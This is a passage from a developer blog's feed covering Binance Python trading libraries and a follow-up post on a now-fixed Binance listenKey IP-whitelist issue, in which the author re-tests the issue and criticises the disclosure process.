from unicorn_binance_trailing_stop_loss.manager import BinanceTrailingStopLossManager


def callback_error(error_msg=None):
    print(f"ERROR: {error_msg}")


def callback_finished(msg=None):
    print(f"FINISHED: {msg}")


def callback_partially_filled(msg=None):
    print(f"PARTIALLY FILLED: {msg}")


async def main():
    with BinanceTrailingStopLossManager(
        api_key="YOUR_API_KEY",
        api_secret="YOUR_API_SECRET",
        market="BTCUSDC",
        stop_loss_limit="1.5%",
        callback_error=callback_error,
        callback_finished=callback_finished,
        callback_partially_filled=callback_partially_filled,
    ) as ubtsl:
        while not ubtsl.is_manager_stopping():
            await asyncio.sleep(1)


try:
    asyncio.run(main())
except KeyboardInterrupt:
    print("Gracefully stopping ...")
</code></pre>
<p>For a production bot, I would not paste this blindly and call it done. I would start from the official example, wire the callbacks into your own logging/alerting, and make sure the account, market, order side, and stop-loss behavior match your intended execution model.</p>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/b55858b6-a185-4b59-95ed-2a8c8b7cf443.jpg" alt="" style="display:block;margin:0 auto" />

<hr />
<h2>Stop Parsing Raw Binance JSON by Hand (UnicornFy)</h2>
<p>Binance's raw WebSocket frames are compact and cryptic. Here's a kline update straight off the wire:</p>
<pre><code class="language-json">{"stream":"btcusdc@kline_1m","data":{"e":"kline","E":1778563770000,"s":"BTCUSDC","k":{"t":1778563740000,"T":1778563799999,"s":"BTCUSDC","i":"1m","o":"81251.35","c":"81292.61","h":"81293.00","l":"81250.61","v":"1.42442","n":50,"x":false,"q":"115789.12","V":"0.81","Q":"65872.55","B":"0"}}}
</code></pre>
<p>Single-letter keys. Nested envelopes. Easy to mis-parse, hard to read at a glance. UnicornFy turns that into:</p>
<pre><code class="language-python">from unicorn_fy.unicorn_fy import UnicornFy
parsed = UnicornFy().binance_com_websocket(raw)
</code></pre>
<pre><code class="language-python">{
  "stream_type": "btcusdc@kline_1m",
  "event_type": "kline",
  "event_time": 1778563770000,
  "symbol": "BTCUSDC",
  "kline": {
    "kline_start_time": 1778563740000,
    "kline_close_time": 1778563799999,
    "symbol": "BTCUSDC",
    "interval": "1m",
    "open_price": "81251.35",
    "close_price": "81292.61",
    "high_price": "81293.00",
    "low_price": "81250.61",
    "base_volume": "1.42442",
    "number_of_trades": 50,
    "is_closed": false,
    "quote": "115789.12",
    "taker_by_base_asset_volume": "0.81",
    "taker_by_quote_asset_volume": "65872.55"
  }
}
</code></pre>
<p>You usually don't call UnicornFy directly — pass <code>output_default="UnicornFy"</code> to UBWA and every frame that lands in your buffer is already normalized.</p>
<hr />
<h2>Scaling Beyond a Single Process: UBDCC</h2>
<p>A single UBLDC process can handle many markets. The moment you need <strong>redundancy</strong> or <strong>multiple consumers</strong>, the order book should stop living inside one bot process.</p>
<p>UBDCC turns UBLDC into a shared service. You run the cluster once, create DepthCaches there, and every bot, dashboard, or service reads the same synchronized order-book source over HTTP. Locally, the REST API listens on port <code>42081</code>; in Kubernetes, it is exposed through the <code>ubdcc-restapi</code> service, usually on port <code>80</code> behind a LoadBalancer.</p>
<p>Quick local start:</p>
<pre><code class="language-bash">pip install ubdcc
ubdcc start
</code></pre>
<p>Create redundant DepthCaches:</p>
<pre><code class="language-bash">curl -X POST 'http://127.0.0.1:42081/create_depthcaches' \
  -H 'Content-Type: application/json' \
  -d '{"exchange": "binance.com", "markets": ["BTCUSDC", "ETHUSDT", "BNBUSDC"], "desired_quantity": 2}'
</code></pre>
<p>Query the order book via REST:</p>
<pre><code class="language-bash">curl 'http://127.0.0.1:42081/get_asks?exchange=binance.com&amp;market=BTCUSDC&amp;limit_count=5'
curl 'http://127.0.0.1:42081/get_bids?exchange=binance.com&amp;market=BTCUSDC&amp;limit_count=5'
</code></pre>
<p>The important point is the URL shape:</p>
<pre><code class="language-text">/get_asks?exchange=binance.com&amp;market=BTCUSDC&amp;limit_count=5
/get_bids?exchange=binance.com&amp;market=BTCUSDC&amp;threshold_volume=100000
</code></pre>
<p>UBDCC exposes synchronized order-book data through explicit REST endpoints such as <code>/get_asks</code> and <code>/get_bids</code>. For normal consumers, the response stays focused on the requested book side. When you need operational details, <code>debug=true</code> adds routing and timing metadata.</p>
<pre><code class="language-bash">curl 'http://127.0.0.1:42081/get_asks?exchange=binance.com&amp;market=BTCUSDC&amp;limit_count=2&amp;debug=true'
</code></pre>
<p>UBDCC consists of three component types:</p>
<ul>
<li><p><strong>mgmt</strong> on <code>42080</code>: cluster state and DepthCache distribution,</p>
</li>
<li><p><strong>restapi</strong> on <code>42081</code> locally / <code>80</code> in Kubernetes: the endpoint your clients call,</p>
</li>
<li><p><strong>DCN</strong> processes from <code>42082</code> upward: the workers running the actual UBLDC DepthCaches.</p>
</li>
</ul>
<p>Your client calls <code>restapi</code>. It routes reads to the responsible DCN and management operations to <code>mgmt</code>.</p>
<p>Two posts dive into UBDCC in detail:</p>
<ul>
<li><p><a href="https://blog.technopathy.club/ubdcc-deep-dive-building-a-trust-layer-for-binance-order-books">UBDCC Deep-Dive: Building a Trust Layer for Binance Order Books</a> — architecture, why it exists, what problem it solves.</p>
</li>
<li><p><a href="https://blog.technopathy.club/from-pip-install-to-a-redundant-binance-order-book-cluster-ubdcc-dashboard-quickstart">From <code>pip install</code> to a Redundant Binance Order Book Cluster — UBDCC + Dashboard Quickstart</a> — a working cluster in minutes.</p>
</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/662b37c2-98e0-471d-85ca-283f16e5fb9c.png" alt="" style="display:block;margin:0 auto" />

<hr />
<h2>What "Production-Grade" Actually Means</h2>
<p>Most articles compare libraries on <strong>what they do</strong>. The ones that decide whether your bot survives a year compare on <strong>what they handle when things go wrong</strong>. Here's the practical checklist that separates a weekend project from a service:</p>
<table>
<thead>
<tr>
<th>Concern</th>
<th>python-binance</th>
<th>binance-connector / official SDKs</th>
<th>CCXT</th>
<th>UBS</th>
</tr>
</thead>
<tbody><tr>
<td>Automatic WebSocket reconnect</td>
<td>Partial / manager-dependent</td>
<td>Low-level / DIY</td>
<td>Available in CCXT Pro / exchange-dependent</td>
<td>Yes, managed</td>
</tr>
<tr>
<td>WebSocket API trading requests</td>
<td>Recent support</td>
<td>Yes, official SDK direction</td>
<td>Exchange-dependent / Pro</td>
<td><strong>Yes — integrated into UBWA manager</strong></td>
</tr>
<tr>
<td>Request-specific WS API callbacks</td>
<td>Limited</td>
<td>SDK-style / DIY routing</td>
<td>Abstraction-dependent</td>
<td><strong>Yes</strong></td>
</tr>
<tr>
<td>Multiple WS API streams</td>
<td>Limited</td>
<td>DIY</td>
<td>Abstraction-dependent</td>
<td><strong>Yes — via stream IDs / labels</strong></td>
</tr>
<tr>
<td>WebSocket sequence-gap detection (depth)</td>
<td>No</td>
<td>N/A</td>
<td>No</td>
<td>Yes (validates <code>U</code>/<code>u</code>)</td>
</tr>
<tr>
<td>Explicit out-of-sync error surface</td>
<td>No</td>
<td>N/A</td>
<td>No</td>
<td><strong>Yes —</strong> <code>DepthCacheOutOfSync</code></td>
</tr>
<tr>
<td>Orphaned depth-level pruning</td>
<td>No</td>
<td>N/A</td>
<td>No</td>
<td><strong>Yes</strong></td>
</tr>
<tr>
<td>User-data listenKey auto-renew</td>
<td>Yes (less robust)</td>
<td>DIY</td>
<td>N/A</td>
<td>Yes, robust</td>
</tr>
<tr>
<td>Subscribe at runtime without reconnect</td>
<td>No</td>
<td>N/A</td>
<td>No</td>
<td><strong>Yes</strong></td>
</tr>
<tr>
<td>Native asyncio <code>await</code> queue</td>
<td>No decoupled backpressure-aware queue</td>
<td>N/A</td>
<td>Mixed</td>
<td>Yes</td>
</tr>
<tr>
<td>Multi-account routing</td>
<td>Separate clients / application routing</td>
<td>Separate clients / application routing</td>
<td>Separate clients / abstraction-dependent</td>
<td><strong>Integrated routing via stream IDs / labels</strong></td>
</tr>
<tr>
<td>Native/Cython components with multi-arch wheels</td>
<td>N/A / mostly pure Python</td>
<td>N/A / mostly pure Python</td>
<td>N/A / pure Python</td>
<td><strong>Yes — x86_64, aarch64, arm64</strong></td>
</tr>
<tr>
<td>Connection-state observability</td>
<td>Limited / application-level</td>
<td>Low-level / application-level</td>
<td>Exchange-dependent</td>
<td><strong>Built-in: stream lifecycle signals, per-stream labels, reconnect visibility, and stream-scoped log context</strong></td>
</tr>
<tr>
<td>Cluster-scale option</td>
<td>No</td>
<td>No</td>
<td>No</td>
<td>UBDCC</td>
</tr>
</tbody></table>
<p>This is not only for large desks. Beginners benefit from stable defaults too. A small bot is not better because its WebSocket handling is fragile, and <code>python-binance</code> is not automatically simpler just because it ranks first. The practical reason to look at UBS is that it makes many failure modes explicit before they become your problem.</p>
<hr />
<h3>Trust and installation notes</h3>
<p>UNICORN Binance Suite is MIT-licensed open source. Install from PyPI or the official GitHub repositories under <code>oliver-zehentleitner</code>.</p>
<p>There have been fraudulent repositories impersonating UBWA with malware payloads, so avoid random forks, ZIP downloads, or similarly named projects. The official package names are listed above.</p>
<hr />
<h2>Where to Go from Here</h2>
<p><strong>Build something:</strong></p>
<ul>
<li><p>Stream market data → Kafka, ready for downstream processing: <a href="https://blog.technopathy.club/passing-binance-market-data-to-apache-kafka-in-python-with-aiokafka">Passing Binance Market Data to Apache Kafka in Python with aiokafka</a></p>
</li>
<li><p>Atomic OCO take-profit + stop-loss: <a href="https://blog.technopathy.club/buy-an-asset-and-instantly-create-a-take-profit-and-stop-loss-oco-sell-order-using-python-in-binance-isolated-margin">Buy an Asset and Instantly Create a Take-Profit + Stop-Loss OCO Sell Order</a></p>
</li>
<li><p>Run a redundant order-book cluster: <a href="https://blog.technopathy.club/from-pip-install-to-a-redundant-binance-order-book-cluster-ubdcc-dashboard-quickstart">UBDCC + Dashboard Quickstart</a></p>
</li>
</ul>
<p><strong>Understand the internals:</strong></p>
<ul>
<li><p>Why a "correct" depth cache rots if you follow the spec: <a href="https://blog.technopathy.club/your-binance-depthcache-is-rotting-here-s-the-proof-in-25-hours">Your Binance DepthCache Is Rotting</a></p>
</li>
<li><p>What UBDCC actually does, architecturally: <a href="https://blog.technopathy.club/ubdcc-deep-dive-building-a-trust-layer-for-binance-order-books">UBDCC Deep-Dive</a></p>
</li>
<li><p>The Binance API security model and where it leaks: <a href="https://blog.technopathy.club/binance-fixed-the-ip-whitelist-gap-the-disclosure-process-is-still-broken">Binance Fixed the IP Whitelist Gap. The Disclosure Process Is Still Broken</a></p>
</li>
</ul>
<p><strong>Docs and source:</strong></p>
<ul>
<li><p>UBWA: <a href="https://oliver-zehentleitner.github.io/unicorn-binance-websocket-api">docs</a> · <a href="https://github.com/oliver-zehentleitner/unicorn-binance-websocket-api">GitHub</a></p>
</li>
<li><p>UBRA: <a href="https://oliver-zehentleitner.github.io/unicorn-binance-rest-api">docs</a> · <a href="https://github.com/oliver-zehentleitner/unicorn-binance-rest-api">GitHub</a></p>
</li>
<li><p>UBLDC: <a href="https://oliver-zehentleitner.github.io/unicorn-binance-local-depth-cache">docs</a> · <a href="https://github.com/oliver-zehentleitner/unicorn-binance-local-depth-cache">GitHub</a></p>
</li>
<li><p>UBTSL: <a href="https://oliver-zehentleitner.github.io/unicorn-binance-trailing-stop-loss">docs</a> · <a href="https://github.com/oliver-zehentleitner/unicorn-binance-trailing-stop-loss">GitHub</a></p>
</li>
<li><p>UnicornFy: <a href="https://oliver-zehentleitner.github.io/unicorn-fy">docs</a> · <a href="https://github.com/oliver-zehentleitner/unicorn-fy">GitHub</a></p>
</li>
<li><p>UBDCC: <a href="https://oliver-zehentleitner.github.io/unicorn-binance-depth-cache-cluster/">docs</a> · <a href="https://github.com/oliver-zehentleitner/unicorn-binance-depth-cache-cluster">GitHub</a></p>
</li>
<li><p>Suite meta-package: <a href="https://oliver-zehentleitner.github.io/unicorn-binance-suite">docs</a> · <a href="https://github.com/oliver-zehentleitner/unicorn-binance-suite">GitHub</a></p>
</li>
</ul>
<p><strong>Talk to humans:</strong></p>
<ul>
<li><p>Telegram: <a href="https://t.me/unicorndevs"><strong>t.me/unicorndevs</strong></a> — the answer to most questions is one message away.</p>
</li>
<li><p>GitHub Discussions on any of the repos above.</p>
</li>
</ul>
<hr />
<h2>Closing</h2>
<p><code>python-binance</code>, the official Binance SDKs, and <code>CCXT</code> are useful tools. They exist for real reasons. But UBS is built around a different premise: a Binance bot should not only be able to call endpoints — it should understand stream lifecycle, reconnects, order-book trust, out-of-sync states, WebSocket API routing, and failure surfaces from the beginning.</p>
<p>That is useful for production systems, but it is also useful for beginners. Starting small does not mean starting fragile. A stable library is not overkill just because your first script has 50 lines.</p>
<p>If you are building anything Binance-specific in Python, try the suite once. The install is one line. The list of things you no longer have to reinvent is the rest of this article.</p>
<p>Either way: name the failure modes before you ship. The libraries that make those states visible are the ones you want under your code.</p>
<hr />
<p><em>This guide will be expanded into a series of deep-dives — WebSocket API request routing, WebSocket reconnect internals,</em> <code>stream_signals</code><em>, the</em> <code>high_performance</code> <em>flag, OCO order patterns, UBDCC cluster architecture, and more. Subscribe to the</em> <a href="https://blog.technopathy.club/series/unicorn-binance-suite"><em>UNICORN Binance Suite</em></a> <em>series to catch each one as it lands.</em></p>
<hr />
<p>I hope you found this informative and useful.</p>
<p>Follow me on <a href="https://www.binance.com/en/square/profile/oliver-zehentleitner">Binance Square</a>, <a href="https://github.com/oliver-zehentleitner">GitHub</a>, <a href="https://x.com/unicorn_oz">X</a>, and <a href="https://www.linkedin.com/in/oliver-zehentleitner/">LinkedIn</a>, or join <a href="https://t.me/unicorndevs">Telegram</a> for updates on my latest publications. Constructive feedback is always appreciated.</p>
<p>Thank you for reading, and happy coding! ¯\_(ツ)_/¯</p>
]]></content:encoded></item><item><title><![CDATA[Binance Fixed the IP Whitelist Gap. The Disclosure Process Is Still Broken.]]></title><description><![CDATA[I wanted to re-open an old Binance API security issue.
Not because I enjoy re-litigating old reports.
Because the last thirteen days made the threat model painfully concrete.
I found or stumbled into ]]></description><link>https://blog.technopathy.club/binance-fixed-the-ip-whitelist-gap-the-disclosure-process-is-still-broken</link><guid isPermaLink="true">https://blog.technopathy.club/binance-fixed-the-ip-whitelist-gap-the-disclosure-process-is-still-broken</guid><category><![CDATA[binance]]></category><category><![CDATA[api security]]></category><category><![CDATA[disclosure]]></category><category><![CDATA[bugbounty]]></category><category><![CDATA[supply chain]]></category><category><![CDATA[bugcrowd]]></category><category><![CDATA[Open Source]]></category><category><![CDATA[Malware]]></category><category><![CDATA[pypi]]></category><category><![CDATA[GitHub]]></category><dc:creator><![CDATA[Oliver Zehentleitner]]></dc:creator><pubDate>Tue, 05 May 2026 16:55:27 GMT</pubDate><enclosure url="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/231ac2dc-3310-405a-8360-0782eed7d850.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>I wanted to re-open an old <a href="https://blog.technopathy.club/when-ip-whitelisting-isn-t-what-it-seems-a-real-world-case-study-from-the-binance-api">Binance API security issue</a>.</p>
<p>Not because I enjoy re-litigating old reports.</p>
<p>Because the last thirteen days made the threat model painfully concrete.</p>
<p>I found or stumbled into fake GitHub repositories, a broader <code>nailproxy.space</code> malware campaign, a StealC-linked delivery chain, a fake job interview abusing VSCode workspace trust, and a PyPI typosquat targeting my Binance WebSocket library.</p>
<p>Different cases. Same direction.</p>
<p>Attackers are trying to get code executed exactly where API keys live: developer machines, bot servers, CI jobs, dependency trees, IDE workspaces, and trading infrastructure.</p>
<p>That matters because I reported a Binance API trust-boundary issue around IP whitelisting and <code>listenKey</code> in December 2024.</p>
<p>So I went back and re-tested it.</p>
<p>The result surprised me.</p>
<p>The vulnerability appears to be fixed.</p>
<p>That is good.</p>
<p>Really good.</p>
<p>But the way we got here is not good.</p>
<p>Because the same issue was previously rejected as “Social Engineering,” marked “Not Applicable,” not rewarded, not acknowledged — and now the behavior I reported is gone.</p>
<p>The finding was not rewardable enough to acknowledge.</p>
<p>But apparently it was technical enough to fix.</p>
<p>That is the part I cannot ignore.</p>
<h2>The original issue</h2>
<p>Binance API keys can be restricted to specific IP addresses.</p>
<p>That creates a strong security expectation:</p>
<blockquote>
<p>Even if credentials leak, they should be useless outside the trusted IP range.</p>
</blockquote>
<p>That is the point of IP whitelisting.</p>
<p>But the old <code>listenKey</code> model for private user data streams did not follow that boundary consistently.</p>
<p>A <code>listenKey</code> could be created from a whitelisted system using only the API key — no API secret, no request signature, no proof of possession.</p>
<p>The resulting <code>listenKey</code> could then be used from outside the configured IP whitelist to consume private user data streams.</p>
<p>No trading permission.</p>
<p>No withdrawal permission.</p>
<p>No direct account takeover.</p>
<p>But full real-time visibility into sensitive account activity:</p>
<ul>
<li><p>balances</p>
</li>
<li><p>orders</p>
</li>
<li><p>executions</p>
</li>
<li><p>positions</p>
</li>
<li><p>liquidation-relevant state</p>
</li>
<li><p>timing</p>
</li>
<li><p>strategy behavior</p>
</li>
</ul>
<img src="https://cdn.hashnode.com/uploads/covers/69d4b99a5da14bc70e00d4f6/e86206e5-0b36-4479-9736-b1e15701f3df.png" alt="" style="display:block;margin:0 auto" />

<p>For automated trading systems, that is not harmless data.</p>
<p>In trading, visibility is value.</p>
<p>Open orders are value. Positions are value. Execution timing is value. Strategy behavior is value.</p>
<p>A system that exposes that data outside the configured IP boundary leaks more than most users realize.</p>
<p>The rule should be simple:</p>
<blockquote>
<p>A derived credential must not be more portable than the credential that created it.</p>
</blockquote>
<p>That was the issue.</p>
<h2>Why “Social Engineering” was the wrong answer</h2>
<p>The report was not about someone tricking a user into handing over a token.</p>
<p>It was about an architectural boundary mismatch.</p>
<p>Bugcrowd / Binance treated the attack scenario as requiring Social Engineering.</p>
<p>I disagreed then.</p>
<p>I disagree now.</p>
<p>Because the relevant attack path was never:</p>
<blockquote>
<p>Please send me your <code>listenKey</code>.</p>
</blockquote>
<p>The relevant attack path was:</p>
<blockquote>
<p>Trusted code running in a whitelisted environment can create or exfiltrate a <code>listenKey</code>, and the attacker can consume it outside that environment.</p>
</blockquote>
<p>That is how supply-chain compromise works.</p>
<p>A malicious dependency does not ask nicely.</p>
<p>A compromised bot does not ask the user to forward a token.</p>
<p>An infected package does not need a phishing form.</p>
<p>A malicious IDE workspace does not need the user to understand what it runs.</p>
<p>It executes in the place the user already trusts.</p>
<p>That is exactly why IP whitelisting exists.</p>
<p>And that is exactly why derived stream credentials should inherit the same boundary.</p>
<h2>The old proof was real</h2>
<p>This was not only an argument.</p>
<p>I had proof.</p>
<p>The original Bugcrowd reports included scripts and video material demonstrating the flow. Later, I also published the public case study:</p>
<p><a href="https://blog.technopathy.club/when-ip-whitelisting-isn-t-what-it-seems-a-real-world-case-study-from-the-binance-api">When IP Whitelisting Isn't What It Seems: A Real-World Case Study from the Binance API</a></p>
<p>I also have an old video from November 26, 2025 demonstrating that the issue was still reproducible at that time:</p>
<p><a class="embed-card" href="https://www.youtube.com/watch?v=y9dGtHLEBp8">https://www.youtube.com/watch?v=y9dGtHLEBp8</a></p>

<p>That video has about 30 views.</p>
<p>Which is funny in a bitter way.</p>
<p>Because the finding was not subtle.</p>
<p>The user expectation around IP whitelisting was clear. The architectural mismatch was clear. The supply-chain threat model was clear.</p>
<p>The recommended fix was also clear:</p>
<ul>
<li><p>enforce the same IP restrictions on <code>listenKey</code> as on the original API key</p>
</li>
<li><p>require proof of possession of the API secret when issuing a stream credential</p>
</li>
<li><p>treat stream credentials as sensitive account credentials, not harmless session strings</p>
</li>
</ul>
<p>That was the whole point.</p>
<h2>Why I re-tested it now</h2>
<p>The last thirteen days changed the context.</p>
<p>I documented or found:</p>
<ul>
<li><p><a href="https://blog.technopathy.club/security-warning-fraudulent-github-repository-impersonating-unicorn-binance-websocket-api">fake GitHub repositories impersonating my Binance tooling</a></p>
</li>
<li><p><a href="https://blog.technopathy.club/nailproxy-space-github-malware-campaign">a broader malware campaign using open-source project names as lures</a></p>
</li>
<li><p><a href="https://blog.technopathy.club/from-a-coffee-in-bed-google-search-to-a-stealc-linked-campaign-the-story-behind-nailproxy-space">a StealC-linked delivery chain</a></p>
</li>
<li><p><a href="https://blog.technopathy.club/i-had-a-fake-job-interview-it-was-a-malware-delivery-chain">a fake job interview abusing developer-tool trust</a></p>
</li>
<li><p><a href="https://blog.technopathy.club/the-pypi-package-was-clean-that-was-the-problem">a PyPI package squat around my Binance WebSocket library</a></p>
</li>
</ul>
<p>Those are not theoretical attack paths.</p>
<p>They target exactly the environments where API credentials live.</p>
<p>That was my point in 2024.</p>
<p>It is even more obvious in 2026.</p>
<p>Supply-chain attacks do not require the user to forward a token.</p>
<p>They require trusted code to run in a trusted place.</p>
<p>That is the whole problem.</p>
<p>So I re-tested the current state on May 5, 2026.</p>
<h2>The re-test setup</h2>
<p>The test used one Binance API key with full permissions except withdrawals.</p>
<p>The key was restricted to one specific Telekom Austria IPv4 address.</p>
<p>I tested two source-IP states:</p>
<ul>
<li><p>a whitelisted Telekom Austria home IPv4</p>
</li>
<li><p>non-whitelisted Mullvad WireGuard exits</p>
</li>
</ul>
<p>The probes were pure REST <code>POST</code> calls to the relevant <code>listenKey</code> endpoints using only the <code>X-MBX-APIKEY</code> header.</p>
<p>No trades.</p>
<p>No signed actions for the <code>listenKey</code> probes.</p>
<p>No account interaction beyond testing whether the stream credential could be created.</p>
<p>The API key was handled via environment variable, redacted in logs, and rotated after the test.</p>
<h2>What I found</h2>
<p>Short version:</p>
<blockquote>
<p>Binance fixed it.</p>
</blockquote>
<p>More precisely:</p>
<table>
<thead>
<tr>
<th>Product line</th>
<th>Current state on May 5, 2026</th>
</tr>
</thead>
<tbody><tr>
<td>Spot</td>
<td>old <code>listenKey</code> endpoint retired</td>
</tr>
<tr>
<td>Cross-Margin</td>
<td>old <code>listenKey</code> endpoint retired</td>
</tr>
<tr>
<td>Isolated-Margin</td>
<td>old <code>listenKey</code> endpoint retired</td>
</tr>
<tr>
<td>USDⓈ-M Futures</td>
<td><code>listenKey</code> still exists, but IP whitelist is enforced</td>
</tr>
<tr>
<td>COIN-M Futures</td>
<td><code>listenKey</code> still exists, but IP whitelist is enforced</td>
</tr>
<tr>
<td>Binance US</td>
<td>not tested</td>
</tr>
<tr>
<td>Binance TR</td>
<td>not tested</td>
</tr>
</tbody></table>
<p>Spot and Margin did not merely start enforcing the old model.</p>
<p>They moved away from it.</p>
<p>Futures still has <code>listenKey</code>, but the old bypass no longer reproduced.</p>
<p>From the whitelisted IP:</p>
<pre><code class="language-text">POST /fapi/v1/listenKey  -&gt; 200 OK
POST /dapi/v1/listenKey  -&gt; 200 OK
</code></pre>
<p>From a non-whitelisted Mullvad IP:</p>
<pre><code class="language-text">POST /fapi/v1/listenKey  -&gt; 401 / -2015
POST /dapi/v1/listenKey  -&gt; 401 / -2015
</code></pre>
<p>The error message included the live request IP.</p>
<p>That matters.</p>
<p>It strongly suggests Binance is now checking the request source IP against the API key whitelist for the Futures <code>listenKey</code> endpoints, just as it does for signed private endpoints.</p>
<p>I also cross-checked that this was not simply Binance blocking Mullvad.</p>
<p>Public no-auth Futures endpoints worked from the same Mullvad exit.</p>
<p>Signed private endpoints failed with the same <code>-2015</code> IP-whitelist error.</p>
<p>Changing the Mullvad exit changed the reflected request IP in the error message.</p>
<p>That is exactly what enforced IP whitelisting looks like.</p>
<h2>The lifecycle details are interesting</h2>
<p>Spot now returns:</p>
<pre><code class="language-text">410 Gone
</code></pre>
<p>for the old Spot user data stream endpoint.</p>
<p>That is a deliberate lifecycle signal.</p>
<p>It means: this endpoint used to exist, and it is gone.</p>
<p>Margin behaves differently.</p>
<p>Cross-Margin and Isolated-Margin returned generic <code>404 Not Found</code> responses through the <code>sapi</code> routing layer.</p>
<p>So Binance appears to have retired Spot more explicitly, while Margin was simply removed from routing.</p>
<p>That is not the central issue, but it is interesting.</p>
<p>The final state is still good for users:</p>
<ul>
<li><p>Spot: retired</p>
</li>
<li><p>Margin: retired</p>
</li>
<li><p>Futures: live but now IP-enforced</p>
</li>
</ul>
<p>From a security perspective, that is a real improvement.</p>
<h2>The bug is gone. The process is the story now.</h2>
<p>I want to be very clear:</p>
<p>I am glad this is fixed.</p>
<p>Users are safer now.</p>
<p>That matters.</p>
<p>If a compromised API key can no longer be used from an arbitrary IP to obtain a Futures <code>listenKey</code>, that is good.</p>
<p>If Spot and Margin moved away from the old model entirely, that is good.</p>
<p>If Binance quietly closed a trust-boundary gap, that is good.</p>
<p>But it does not erase the disclosure problem.</p>
<p>Because the report was not accepted as a valid security issue.</p>
<p>It was closed as Not Applicable.</p>
<p>It was repeatedly framed as Social Engineering.</p>
<p>And now the behavior it described is gone.</p>
<p>That is the uncomfortable part.</p>
<p>The finding was not rewardable enough to acknowledge.</p>
<p>But apparently it was technical enough to fix.</p>
<h2>The process punished persistence</h2>
<p>Responsible disclosure is not only about bugs.</p>
<p>It is about incentives.</p>
<p>If a researcher reports a real architectural issue, provides proof, explains supply-chain impact, provides real-world examples, and the issue later disappears from production, then the process should be able to say:</p>
<blockquote>
<p>Yes, this was useful.</p>
</blockquote>
<p>It does not always need to mean a big bounty.</p>
<p>It does not always need to mean a CVE.</p>
<p>It does not always need to mean a public incident report.</p>
<p>But it should not result in:</p>
<ul>
<li><p>rejection as Not Applicable</p>
</li>
<li><p>repeated misclassification</p>
</li>
<li><p>no acknowledgement</p>
</li>
<li><p>no reward</p>
</li>
<li><p>no clear public fix note</p>
</li>
<li><p>no correction of the original assessment</p>
</li>
<li><p>procedural pressure against further review requests</p>
</li>
</ul>
<p>There is another part of this that should not be softened.</p>
<p>After I pushed back and asked for a proper review, the response did not become more technical.</p>
<p>It became more procedural.</p>
<p>I was warned that further response requests without “additional information” could affect my accuracy score or even my ability to create response requests.</p>
<p>That matters.</p>
<p>Because I was not submitting vague noise.</p>
<p>I had provided a reproducible issue, PoC material, real-world leakage examples, supply-chain scenarios, and a clear explanation of why this was not Social Engineering.</p>
<p>And now the behavior I reported appears to be gone.</p>
<p>That is not just disappointing.</p>
<p>That is a broken incentive structure.</p>
<p>A disclosure process should not make the researcher feel like the risky action is continuing to explain the bug.</p>
<h2>Why this matters</h2>
<p>The people most likely to find architectural issues are often the people who live inside the ecosystem:</p>
<ul>
<li><p>maintainers</p>
</li>
<li><p>infrastructure developers</p>
</li>
<li><p>SDK authors</p>
</li>
<li><p>bot developers</p>
</li>
<li><p>API integrators</p>
</li>
<li><p>security engineers</p>
</li>
<li><p>power users</p>
</li>
</ul>
<p>Those people are not scanning random forms for easy XSS.</p>
<p>They understand the system because they build around it every day.</p>
<p>If they stop trusting the disclosure process, the platform loses an early-warning system.</p>
<p>And that is exactly the wrong outcome.</p>
<p>Especially for ecosystems where automated trading, API credentials, third-party libraries, and supply-chain risk are tightly connected.</p>
<h2>What I want from Binance</h2>
<p>I do not want to pretend the fix does not matter.</p>
<p>It does.</p>
<p>I also do not want to pretend the process was acceptable.</p>
<p>It was not.</p>
<p>A fair outcome would have been simple:</p>
<ul>
<li><p>acknowledge the trust-boundary question</p>
</li>
<li><p>confirm reproducibility</p>
</li>
<li><p>classify the finding honestly</p>
</li>
<li><p>explain product-line limitations if legacy compatibility made fixing hard</p>
</li>
<li><p>give a clear fix timeline or documentation note</p>
</li>
<li><p>recognize the report, even if no bounty was paid</p>
</li>
</ul>
<p>That would already have been enough.</p>
<p>Instead, the public result is this:</p>
<p>A reported architectural issue was rejected as Social Engineering.</p>
<p>The same architectural behavior is now gone.</p>
<p>And the person who reported it had to discover that by re-testing it independently.</p>
<p>That is not how a healthy disclosure process should feel.</p>
<p>To be clear: I still like Binance.</p>
<p>I build and maintain open source infrastructure for the Binance ecosystem because I think the ecosystem matters.</p>
<p>Binance has built useful APIs.</p>
<p>The developer community around those APIs is real.</p>
<p>A lot of people depend on this infrastructure.</p>
<p>That is exactly why I care.</p>
<p>This is not about hating Binance.</p>
<p>It is about expecting better from a platform that sits at the center of a large automated-trading ecosystem.</p>
<h2>The uncomfortable conclusion</h2>
<p>I started this follow-up expecting to show that the old issue was still open.</p>
<p>That would have been easy.</p>
<p>Instead, I found something more interesting.</p>
<p>The bug appears to be gone.</p>
<p>The security boundary is better now.</p>
<p>Users are safer.</p>
<p>Good.</p>
<p>But the disclosure process still failed.</p>
<p>The last thirteen days made the original threat model practical.</p>
<p>The May 5 re-test showed that Binance has apparently moved in the direction the report argued for.</p>
<p>Those two facts belong together.</p>
<p>The technical fix deserves credit.</p>
<p>The process deserves criticism.</p>
<p>Because responsible disclosure should not work like this:</p>
<blockquote>
<p>Report the issue.</p>
<p>Get told it is not an issue.</p>
<p>Watch it silently get fixed.</p>
<p>Receive no acknowledgement.</p>
</blockquote>
<p>That is not sustainable.</p>
<p>And it is not fair.</p>
<p>The technical system got safer.</p>
<p>The disclosure process did not.</p>
<p>That should worry every platform that depends on external researchers.</p>
<hr />
<p>I hope you found this informative and useful.</p>
<p>Follow me on <a href="https://www.binance.com/en/square/profile/oliver-zehentleitner">Binance Square</a>, <a href="https://github.com/oliver-zehentleitner">GitHub</a>, <a href="https://x.com/unicorn_oz">X</a>, and <a href="https://www.linkedin.com/in/oliver-zehentleitner/">LinkedIn</a>, or join <a href="https://t.me/unicorndevs">Telegram</a> for updates on my latest publications. Constructive feedback is always appreciated.</p>
<p>Thank you for reading, and happy coding! ¯\_(ツ)_/¯</p>
]]></content:encoded></item><item><title><![CDATA[The PyPI Package Was Clean. That Was the Problem.]]></title><description><![CDATA[Someone uploaded a package to PyPI called:
unicorn-binance-websocket-api-onion

I do not maintain this package.
